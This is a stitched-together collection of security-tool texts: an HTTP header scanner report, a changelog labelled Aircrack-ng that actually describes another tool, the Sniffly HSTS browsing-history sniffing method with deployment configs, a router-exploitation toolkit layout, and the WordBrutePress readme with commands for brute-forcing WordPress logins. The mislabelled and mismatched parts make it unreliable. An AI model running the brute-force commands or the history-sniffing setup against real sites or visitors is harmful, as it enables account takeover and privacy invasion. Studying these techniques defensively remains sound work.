 Set-Cookie: PREF=ID=1111111111111111:FF=0:TM=1446991938:LM=1446991938:V=1:S=wT722CJeTI8DR-6b; expires=Thu, 31-Dec-2015 16:02:17 GMT; path=/; domain=.google.com.br
 Set-Cookie: NID=73=IQTBy8sF0rXq3cu2hb3JHIYqEarBeft7Ciio6uPF2gChn2tj34-kRocXzBwPb6-BLABp0grZvHf7LQnRQ9Z_YhGgzt-oFrns3BMSIGoGn4BWBA48UtsFw4OsB5RZ4ODz1rZb9XjCYemyZw7e5ZJ5pWftv5DPul0; expires=Mon, 09-May-2016 14:12:18 GMT; path=/; domain=.google.com.br; HttpOnly
 Alternate-Protocol: 443:quic,p=1
 Alt-Svc: quic="www.google.com:443"; p="1"; ma=600,quic=":443"; p="1"; ma=600
 Accept-Ranges: none
 Vary: Accept-Encoding
 Connection: close

>> RESPONSE HEADERS DETAILS <<
Header Field Name: X-XSS-Protection
Value: 1; mode=block
Reference: http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx
Security Description: This header enables the Cross-site scripting (XSS) filter built into most recent web browsers. It's usually enabled by default anyway, so the role of this header is to re-enable the filter for this particular website if it was disabled by the user. This header is supported in IE 8+, and in Chrome (not sure which versions). The anti-XSS filter was added in Chrome 4. Its unknown if that version honored this header.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Use "X-XSS-Protection: 1; mode=block" whenever is possible (ref. http://blogs.msdn.com/b/ieinternals/archive/2011/01/31/controlling-the-internet-explorer-xss-filter-with-the-x-xss-protection-http-header.aspx).
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Header Field Name: Set-Cookie
Value: PREF=ID=1111111111111111:FF=0:TM=1446991938:LM=1446991938:V=1:S=wT722CJeTI8DR-6b; expires=Thu, 31-Dec-2015 16:02:17 GMT; path=/; domain=.google.com.br, NID=73=IQTBy8sF0rXq3cu2hb3JHIYqEarBeft7Ciio6uPF2gChn2tj34-kRocXzBwPb6-BLABp0grZvHf7LQnRQ9Z_YhGgzt-oFrns3BMSIGoGn4BWBA48UtsFw4OsB5RZ4ODz1rZb9XjCYemyZw7e5ZJ5pWftv5DPul0; expires=Mon, 09-May-2016 14:12:18 GMT; path=/; domain=.google.com.br; HttpOnly
Reference: https://tools.ietf.org/html/rfc6265
Security Description: Cookies have a number of security pitfalls. In particular, cookies encourage developers to rely on ambient authority for authentication, often becoming vulnerable to attacks such as cross-site request forgery. Also, when storing session identifiers in cookies, developers often create session fixation vulnerabilities. Transport-layer encryption, such as that employed in HTTPS, is insufficient to prevent a network attacker from obtaining or altering a victim's cookies because the cookie protocol itself has various vulnerabilities. In addition, by default, cookies do not provide confidentiality or integrity from network attackers, even when used in conjunction with HTTPS.
Security Reference: https://tools.ietf.org/html/rfc6265#section-8
Recommendations: Please at least read these references: https://tools.ietf.org/html/rfc6265#section-8 and https://www.owasp.org/index.php/Session_Management_Cheat_Sheet#Cookies.
CWE: CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
CWE URL: https://cwe.mitre.org/data/definitions/614.html

Header Field Name: Accept-Ranges
Value: none
Reference: https://tools.ietf.org/html/rfc7233#section-2.3
Security Description: Unconstrained multiple range requests are susceptible to denial-of-service attacks because the effort required to request many overlapping ranges of the same data is tiny compared to the time, memory, and bandwidth consumed by attempting to serve the requested data in many parts.
Security Reference: https://tools.ietf.org/html/rfc7233#section-6
Recommendations: Servers ought to ignore, coalesce, or reject egregious range requests, such as requests for more than two overlapping ranges or for many small ranges in a single set, particularly when the ranges are requested out of order for no apparent reason.
CWE: CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion')
CWE URL: https://cwe.mitre.org/data/definitions/400.html

Header Field Name: Expires
Value: -1
Reference: https://tools.ietf.org/html/rfc7234#section-5.3
Security Description:
Security Reference:
Recommendations:
CWE:
CWE URL:

Header Field Name: Vary
Value: Accept-Encoding
Reference: https://tools.ietf.org/html/rfc7231#section-7.1.4
Security Description:
Security Reference:
Recommendations:
CWE:
CWE URL:

Header Field Name: Server
Value: gws
Reference: https://tools.ietf.org/html/rfc7231#section-7.4.2
Security Description: Overly long and detailed Server field values increase response latency and potentially reveal internal implementation details that might make it (slightly) easier for attackers to find and exploit known security holes.
Security Reference: https://tools.ietf.org/html/rfc7231#section-7.4.2
Recommendations: An origin server SHOULD NOT generate a Server field containing needlessly fine-grained detail and SHOULD limit the addition of subproducts by third parties.
CWE: CWE-200: Information Exposure
CWE URL: https://cwe.mitre.org/data/definitions/200.html

Header Field Name: Connection
Value: close
Reference: https://tools.ietf.org/html/rfc7230#section-6.1
Security Description:
Security Reference:
Recommendations:
CWE:
CWE URL:

Header Field Name: Cache-Control
Value: private, max-age=0
Reference: https://tools.ietf.org/html/rfc7234#section-5.2
Security Description: Caches expose additional potential vulnerabilities, since the contents of the cache represent an attractive target for malicious exploitation.  Because cache contents persist after an HTTP request is complete, an attack on the cache can reveal information long after a user believes that the information has been removed from the network.  Therefore, cache contents need to be protected as sensitive information.
Security Reference: https://tools.ietf.org/html/rfc7234#section-8
Recommendations: Do not store unnecessarily sensitive information in the cache.
CWE: CWE-524: Information Exposure Through Caching
CWE URL: https://cwe.mitre.org/data/definitions/524.html

Header Field Name: Date
Value: Sun, 08 Nov 2015 14:12:18 GMT
Reference: https://tools.ietf.org/html/rfc7231#section-7.1.1.2
Security Description:
Security Reference:
Recommendations:
CWE:
CWE URL:

Header Field Name: P3P
Value: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Reference: http://www.w3.org/TR/P3P11/#syntax_ext
Security Description: While P3P itself does not include security mechanisms, it is intended to be used in conjunction with security tools. Users' personal information should always be protected with reasonable security safeguards in keeping with the sensitivity of the information.
Security Reference: http://www.w3.org/TR/P3P11/#principles_security
Recommendations: -
CWE: -
CWE URL: -

Header Field Name: Content-Type
Value: text/html; charset=ISO-8859-1
Reference: https://tools.ietf.org/html/rfc7231#section-3.1.1.5
Security Description: In practice, resource owners do not always properly configure their origin server to provide the correct Content-Type for a given representation, with the result that some clients will examine a payload's content and override the specified type. Clients that do so risk drawing incorrect conclusions, which might expose additional security risks (e.g., "privilege escalation").
Security Reference: https://tools.ietf.org/html/rfc7231#section-3.1.1.5
Recommendations: Properly configure their origin server to provide the correct Content-Type for a given representation.
CWE: CWE-430: Deployment of Wrong Handler
CWE URL: https://cwe.mitre.org/data/definitions/430.html

Header Field Name: X-Frame-Options
Value: SAMEORIGIN
Reference: https://tools.ietf.org/html/rfc7034
Security Description: The use of "X-Frame-Options" allows a web page from host B to declare that its content (for example, a button, links, text, etc.) must not be displayed in a frame (<frame> or <iframe>) of another page (e.g., from host A). This is done by a policy declared in the HTTP header and enforced by browser implementations.
Security Reference: https://tools.ietf.org/html/rfc7034
Recommendations:  In 2009 and 2010, many browser vendors ([Microsoft-X-Frame-Options] and [Mozilla-X-Frame-Options]) introduced the use of a non-standard HTTP [RFC2616] header field "X-Frame-Options" to protect against clickjacking. Please check here https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet what's the best option for your case.
CWE: CWE-693: Protection Mechanism Failure
CWE URL: https://cwe.mitre.org/data/definitions/693.html

>> RESPONSE MISSING HEADERS <<
Header Field Name: Pragma
Reference: https://tools.ietf.org/html/rfc7234#section-5.4
Security Description: Caches expose additional potential vulnerabilities, since the contents of the cache represent an attractive target for malicious exploitation.
Security Reference: https://tools.ietf.org/html/rfc7234#section-8
Recommendations: The "Pragma" header field allows backwards compatibility with HTTP/1.0 caches, so that clients can specify a "no-cache" request that they will understand (as Cache-Control was not defined until HTTP/1.1). When the Cache-Control header field is also present and understood in a request, Pragma is ignored. Define "Pragma: no-cache" whenever is possible.
CWE: CWE-524: Information Exposure Through Caching
CWE URL: https://cwe.mitre.org/data/definitions/524.html

Header Field Name: Public-Key-Pins
Reference: https://tools.ietf.org/html/rfc7469
Security Description: HTTP Public Key Pinning (HPKP) is a trust on first use security mechanism which protects HTTPS websites from impersonation using fraudulent certificates issued by compromised certificate authorities. The security context or pinset data is supplied by the site or origin.
Security Reference: https://tools.ietf.org/html/rfc7469
Recommendations: Deploying Public Key Pinning (PKP) safely will require operational and organizational maturity due to the risk that hosts may make themselves unavailable by pinning to a set of SPKIs that becomes invalid. With care, host operators can greatly reduce the risk of man-in-the-middle (MITM) attacks and other false- authentication problems for their users without incurring undue risk. PKP is meant to be used together with HTTP Strict Transport Security (HSTS) [RFC6797], but it is possible to pin keys without requiring HSTS.
CWE: CWE-295: Improper Certificate Validation
CWE URL: https://cwe.mitre.org/data/definitions/295.html

Header Field Name: Public-Key-Pins-Report-Only
Reference: https://tools.ietf.org/html/rfc7469
Security Description: HTTP Public Key Pinning (HPKP) is a trust on first use security mechanism which protects HTTPS websites from impersonation using fraudulent certificates issued by compromised certificate authorities. The security context or pinset data is supplied by the site or origin.
Security Reference: https://tools.ietf.org/html/rfc7469
Recommendations: Deploying Public Key Pinning (PKP) safely will require operational and organizational maturity due to the risk that hosts may make themselves unavailable by pinning to a set of SPKIs that becomes invalid. With care, host operators can greatly reduce the risk of man-in-the-middle (MITM) attacks and other false- authentication problems for their users without incurring undue risk. PKP is meant to be used together with HTTP Strict Transport Security (HSTS) [RFC6797], but it is possible to pin keys without requiring HSTS.
CWE: CWE-295: Improper Certificate Validation
CWE URL: https://cwe.mitre.org/data/definitions/295.html

Header Field Name: Strict-Transport-Security
Reference: https://tools.ietf.org/html/rfc6797
Security Description: HTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect secure HTTPS websites against downgrade attacks and cookie hijacking. It allows web servers to declare that web browsers (or other complying user agents) should only interact with it using secure HTTPS connections, and never via the insecure HTTP protocol. HSTS is an IETF standards track protocol and is specified in RFC 6797.
Security Reference: https://tools.ietf.org/html/rfc6797
Recommendations: Please at least read this reference: https://www.owasp.org/index.php/HTTP_Strict_Transport_Security.
CWE: CWE-311: Missing Encryption of Sensitive Data
CWE URL: https://cwe.mitre.org/data/definitions/311.html

Header Field Name: Frame-Options
Reference: https://tools.ietf.org/html/rfc7034
Security Description: The use of "X-Frame-Options" allows a web page from host B to declare that its content (for example, a button, links, text, etc.) must not be displayed in a frame (<frame> or <iframe>) of another page (e.g., from host A). This is done by a policy declared in the HTTP header and enforced by browser implementations.
Security Reference: https://tools.ietf.org/html/rfc7034
Recommendations:  In 2009 and 2010, many browser vendors ([Microsoft-X-Frame-Options] and [Mozilla-X-Frame-Options]) introduced the use of a non-standard HTTP [RFC2616] header field "X-Frame-Options" to protect against clickjacking. Please check here https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet what's the best option for your case.
CWE: CWE-693: Protection Mechanism Failure
CWE URL: https://cwe.mitre.org/data/definitions/693.html

Header Field Name: X-Content-Type-Options
Reference: http://blogs.msdn.com/b/ie/archive/2008/09/02/ie8-security-part-vi-beta-2-update.aspx
Security Description: The only defined value, "nosniff", prevents Internet Explorer and Google Chrome from MIME-sniffing a response away from the declared content-type. This also applies to Google Chrome, when downloading extensions. This reduces exposure to drive-by download attacks and sites serving user uploaded content that, by clever naming, could be treated by MSIE as executable or dynamic HTML files.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Always use the only defined value, "nosniff".
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Header Field Name: Content-Security-Policy
Reference: http://www.w3.org/TR/CSP/
Security Description: Content Security Policy requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browser renders pages (e.g., inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including Cross-site scripting and other cross-site injections.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Read the reference http://www.w3.org/TR/CSP/ and set according to your case. This is not a easy job.
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Header Field Name: X-Content-Security-Policy
Reference: http://www.w3.org/TR/CSP/
Security Description: Content Security Policy requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browser renders pages (e.g., inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including Cross-site scripting and other cross-site injections.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Read the reference http://www.w3.org/TR/CSP/ and set according to your case. This is not a easy job.
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Header Field Name: X-WebKit-CSP
Reference: http://www.w3.org/TR/CSP/
Security Description: Content Security Policy requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browser renders pages (e.g., inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including Cross-site scripting and other cross-site injections.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Read the reference http://www.w3.org/TR/CSP/ and set according to your case. This is not a easy job.
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Header Field Name: Content-Security-Policy-Report-Only
Reference: http://www.w3.org/TR/CSP/
Security Description: Like Content-Security-Policy, but only reports. Useful during implementation, tuning and testing efforts.
Security Reference: https://www.owasp.org/index.php/List_of_useful_HTTP_headers
Recommendations: Read the reference http://www.w3.org/TR/CSP/ and set according to your case. This is not a easy job.
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE URL: https://cwe.mitre.org/data/definitions/79.html

Aircrack-ng Changelog

• Version 1.10
  • Added 'Run As Administrator' option (Ctrl+F11)
  • Added 'Registry Loaded' column (Yes/No), which specifies whether the Registry key of the user is loaded into HKEY_USERS key.
  • Added 'Logon Time' column, which specifies the logon time of the current logged on user.
  • UserProfilesView now displays the system users that it failed to get in previous versions.
• Version 1.01 - Added command-line options for sorting.
• Version 1.00 - First release.

1. User visits Sniffly page
2. Browser attempts to load images from various HSTS domains over HTTP
3. Sniffly sets a CSP policy that restricts images to HTTP, so image sources are blocked before they are redirected to HTTPS. This is crucial! If the browser completes a request to the HTTPS site, then it will receive the HSTS pin, and the attack will no longer work when the user visits Sniffly.
4. When an image gets blocked by CSP, its onerror handler is called. In this case, the onerror handler does some fancy tricks to time how long it took for the image to be redirected from HTTP to HTTPS. If this time is on the order of a millisecond, it was an HSTS redirect (no network request was made), which means the user has visited the image's domain before. If it's on the order of 100 milliseconds, then a network request probably occurred, meaning that the user hasn't visited the image's domain.

$ cd util
$ ./run.sh <number_of_batches> > results.log

$ cd util
$ ./process.py <results_file> > processed.log

server {
    listen 8081;
    server_name localhost;
    location / {
        root /path/to/sniffly/src;
        add_header Content-Security-Policy "img-src http:";
        index index.html;
    }
}

<IfModule mod_headers.c>
Header set Content-Security-Policy "img-src http:"
</IfModule>

<?php
    $csp_rules = "img-src http:";
    // Just to ensure maximum compatibility
    header('X-WebKit-CSP: '.$csp_rules);
    header('X-Content-Security-Policy: '.$csp_rules);
    header('Content-Security-Policy: '.$csp_rules);
?>

• Not supported yet in Safari, IE, or Chrome on iOS.
• Extensions such as HTTPS Everywhere will mess up results.
• Doesn't work reliably in Tor Browser since timings are rounded to the nearest 100-millisecond.
• Users with a different HSTS preload list (ex: due to having an older browser) may not see accurate results.

• Scott Helme for an initial list of HSTS hosts that he had found so I didn't have to scan the entire Alexa 1M.
• Chris Palmer for advising on how to file a privacy bug in Chrome.
• Dan Kaminsky and WhiteOps for sponsoring the ToorCon trip where this was presented.
• Jan Schaumann and Chris Rohlf for being early testers.
• Everyone who let me sleep on their couch while I did this over my "vacation break". You know who you are!

• core - contains most of toolkits basic functions
• databases - contains databases, like default credentials etc.
• interface - contains code that is being used for the creation and manipulation with interface
• modules - contains structure of modules, that can be loaded, every module contains vendor specific sub-modules where scripts are stored.
  • decryptors
  • exploits
  • harvesters
  • misc
  • scanners
• output - output goes here

• requests

• added more than 100 new tools
• updated system packages
• include linux kernel 4.2.5
• updated all tools
• updated menu entries for window managers
• added (correct) multilib support
• added more fonts
• added missing group 'vboxsf'

• an implementation of the FlowTags framework for the OpenDaylight controller
• an implementation of the resource management algorithms
• a topology file that was used to simulate an ISP topology
• scripts that facilitate functions such as spawning, tearing down and retrieving the topology.
• scripts that automate and coordinate the components required for the usecases examined.

• Bro
• Snort
• Balancer
• Iptables
• Iperf
• Custom scripts to simulate the attacks

1. Multithreading
2. xml-rpc brute force mode
3. http and https protocols support
4. Random User Agent
5. Big wordlist support

Standard login request:

python wordbrutepress.py -S -t http[s]://target.com[:port] -u username -w wordlist [--timeout in sec]

Xml-rpc login request:

python wordbrutepress.py -X -t http[s]://target.com[:port] -u username -w wordlist [--timeout in sec]

 2015-11-20 v2.1
 1) Add new feature: Big wordlist support (thanks to guly @theguly)
 2) Fix faultcode check instead of "403" code for XML-RPC (thanks to guly @theguly)

 2015-04-12 v2.0
 1) Add new feature: xml-rpc brute force mode
 2) Fix minor bugs

 2015-04-11 v1.1
 1) optparse (Deprecated since version 2.7) replaced by argparse
 2) Fix connection bugs